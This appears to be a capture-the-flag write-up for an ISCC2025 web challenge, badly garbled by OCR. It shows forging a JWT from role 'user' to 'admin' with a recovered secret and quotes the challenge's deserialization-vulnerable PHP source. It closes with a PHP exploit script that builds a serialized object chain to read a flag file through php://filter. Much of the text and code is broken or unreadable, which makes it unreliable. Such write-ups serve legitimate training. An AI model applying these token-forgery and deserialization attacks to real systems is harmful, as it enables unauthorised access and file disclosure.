ISCC2025 WriteUp 1R3s1E4R
Web+ifzh 7 IR EIFH B

AR (DAEEXFU A+ E)
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CTF-MISC(wt35%) - ... © wE=# € fileclude CUHEA...

¥ Jerry's Secret Cheese Hunt @

X Ui REEH R UEESENTIRE .

A Vi HE:
IP: 223.87.151.84

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101
Firefox/138.0

v/ GET | 200 | 68 ms | Apache/2.4.54 (Debian)
R O e {rwF j R Max HacKBar >

sQL - Error Based ~ WAF ~ XSS ~ LFl ~ LDAP ~ VARIABLES ~ Bypasser ~ Passcode ~ Oth

& Load URL http://112.126.73.173:10086/Y2hIZXNIVHdv.php
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Split URL
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kie: PHPSESS
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©537bd; auth
eyJhbGeic )1 JIUZI1NiIsInR5e
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3. BEZRE, I Jerry_Loves Cheese By ANREH user EX A admin 4L

WT, AE#HTEE
Encoded Decoded
HEADER:
eyJhbGci0iJIUzITNiIsInR
5cCI6IkpXVCJ9.eyJyb2x1I {
o } "alg": "HS256"
joidXN1lciIsImV4cCI6MTco “typ": " INT'
NzM4NDY4MHB%3D .wJUNmjER }
22UW8zZjuJJFLc3Gt4pDItw
PAYLOAD:
B3zDDMKEKYw4

Warning: Looks like your JWT payload is not encoded
{\"role\":\"user\", \"exp\":174738

correctly using base64url 4680}7"
(https://tools.ietf.org/html/rfc4648#section-5). Note that
padding ("=") must be omitted as per VERIFY SIGNATURE
https://tools.ietf.org/html/rfc75154#section-2

HMACSHA256 (
Warning: Looks like your JWT payload is not a valid base64UrlEncode(header) + "." +

JSON object. JWT payloads must be top level JSON base64UrlEncode(payload),

objects as per your-256-bit-secret

) O secret base64 encoded

https://tools.ietf.org/html/rfc75194#section-7.2




Encoded

eyJhbGci0iJIUzITNiIsInR
S5CcCIOIKpXVCJ9.eyJyb2x1I
joiYWRtaW4ilLCJ1leHAIOjE3

Decoded

HEADER:

Type of token {

"alg": "HS256",

"typ": "JWT"
NDczODQ20DB9Nw.FCvSoDhN }
gCu11EmxNkFN6ibT3VJ8S71
ASRd511cRecJU PAYLOAD
{\"role\" :\"admin\", \"exp\":17473
84680}7"
VERIFY SIGNATURE
HMACSHA256 (
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
[\Jem y,Loves,Cheessi ]
) O secret base64 encoded
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REEEEM, BTomfIEiRsESE T —IR)LINES, REIIE!

{?php
ini_set (" display errors’, 0):
error_reporting (0) ;

echo "<h2>#EH R EFR, ITomfA RSz 7 —H LIRS, thEHLE! h2>”;
error_reporting (0) :

include (“clue. php”) ;

§code = file get contents(_FILE );

highlight_string(Scode)

class Tom{
public $stolenCheese;
public $trap;
public function _ construct($file=" cheesemap. php’ ) {
$this—>stolenCheese = §file;
echo "TomfIFHFAR, FEEEF(EMLIRAERTIEE! 7. "<br>”;
}
public function revealCheeseLocation() {
if ($this—>stolenCheese) {
$cheeseGuardKey = “cheesemap. php”;
echo nl2br(htmlspecialchars(file get contents($this—>stolenCheese)));
$this—>stolenCheese = str rot3($cheeseGuardKey) ;
}
}
public function _ toString() {
if (!isset ($_SERVER[’ HTTP_USER_AGENT ]) $_SERVER[’ HTTP_USER_AGENT ]
== ”"JerryBrowser”) {
echo “<h3>Tom RJEIRATIIERE, WG AAFTH)w-- </h3>";
telsef
§this—>trap[’ trap’ ]->stolenCheese;
return “Tom”;

}

public function stoleCheese(){

$Messages = [
"<h3>TomfiifiiE [—MR, RGeS ME. . /h3>”,
"3 R ARIBREFERHE T, EN1E THER? /h3>7,
"<h3>Cheese i & Wl KR, HEFEMMIZ? </h3>”
"<hdsJerryd VAR, WUTREE T HA R /h37,

1;

echo $Messages[array_rand ($Messages) ] ;

$this—>revealCheeselLocation() ;

1

BEMA, BINEEEMM Cheese %, FIAH color BHMHITRFFIL

(R 54k Cheese, fili& _ destruct 733%, X color 7R FF511k) B2 Jerry
X, Jerry BY_invoke &8 searchForCheese #1742, FAEAND
1% php://filter 3B clue.php XX, MHIZKER clue.php XHFAIRA . A
Z1THIASE] payload
s e

% payload {E& cheese_tracker S #{EE N, F &2 User-Agent 4

N
/|



JerryBrowser , K e : Bl IX = Z
PD9waHANCIR3aGVyZT0iZmxhZ19vZI9jaGVIc2UucGhwljsNCj8+DQo=Wher

e is my cheese?

Request Response

Raw  Hex = \n = Pretty Raw Hex Render

8. FAHITMEZEE| cheese 7t flag_of_cheese.php BT



BB B iInput + 028 =

p |PD9wa HANCiR3aGVyZT0iZmxhZ19vZ19jaGV1c2UucGhwIjsNCj8+DQo=
roin

Base64

Alphabet
A...
Remove

non-
alphabet

chars
Strict

mode

mc 56 = 1 Tr Raw Bytes ¢~ LF

Output A« % ] IE] h o

E?php
where="flag_of_cheese.php";
?>

AT B K A 3 B flagof cheesephp W & , & %
PD9waHANCIAgICAkZmxhZyA9ICJJUONDe2NoMzNzZV90aCFIZIBhNV90aG
UiOwWOKICAgIC8vIOS9huaAjuS5i0WPquacieS4gOWNiuWRou+8nwOKCS8VIE
plcn]56L+Y5ZCs5YiwbYir55gE6bygbbygbK+0VG9t55SoMjLnmoQxNui/m+W
[tuW8gualluS7gOS5i0eahO+8jO0WVpeaEj+aAneWRou+8nwOKPz4=Where

is my cheese?



Request Response

Pretty Raw

#0000BB" >

#0000B

R 215 3] ISCC{ch33se_thlef |5_the, 27RF 22 #4916 # &I F



Froiy |1

Base64

Alphabet
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Remove

non-
alphabet
chars

Strict
O

mode

PD9waHANCiAgICAkZmxhZyA9ICIJUBNDe2NoMzNzZVV9@aCF1Z18hNV9@a
GUiOweKICAgIC8vIOSShuaAjuS5iOWPquacieS4gOWNiuWRou+8nwBOKCS
8vIEplcnl56L+Y5ZCs5Yiw5Yir55gE6bygbbygbK+0VG9t55SoMjLnmoQ
xNui/
m+WItuW8guaIluS7g0S5i0eah0+8j0WVpeaE]j+aAneWRou+8nweKPz4=

aec 232 = 1 Tr Raw Bytes €& LF
Output - B I_D M o
<?php

$flag = "ISCC{ch33se_thlef_!5_the";

// BEARAE—¥?
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Scheme

Standard

Null preserving

Aec 23

1

Output
_8n3_beh!nol_the_w@lls}

10. ISCC{ch33se_thlef I5_the_On3_beh!nol_the w@1lls}.wp EEFHEIML, |,
hESH, BAE MR ISCCU3rry_g0t_hls_f@vor!7e_ch33se}

Exp (41F, FHEERE, FAFEE])

<?php

class Tom{
public $stolenCheese;
public $trap;

}

class Jerry {



public $secretHidingSpot;
public $squeak;
public $shout;
}
class Cheese {
public $flavors;

public $color;

$jerry = new Jerry();

$jerry->secretHidingSpot = "php://filter/convert.base64 -
encode/resource=flag_of_cheese.php”;

$cheese = new Cheese();

$cheese->color = serialize($jerry);

echo urlencode(serialize($cheese));

7>



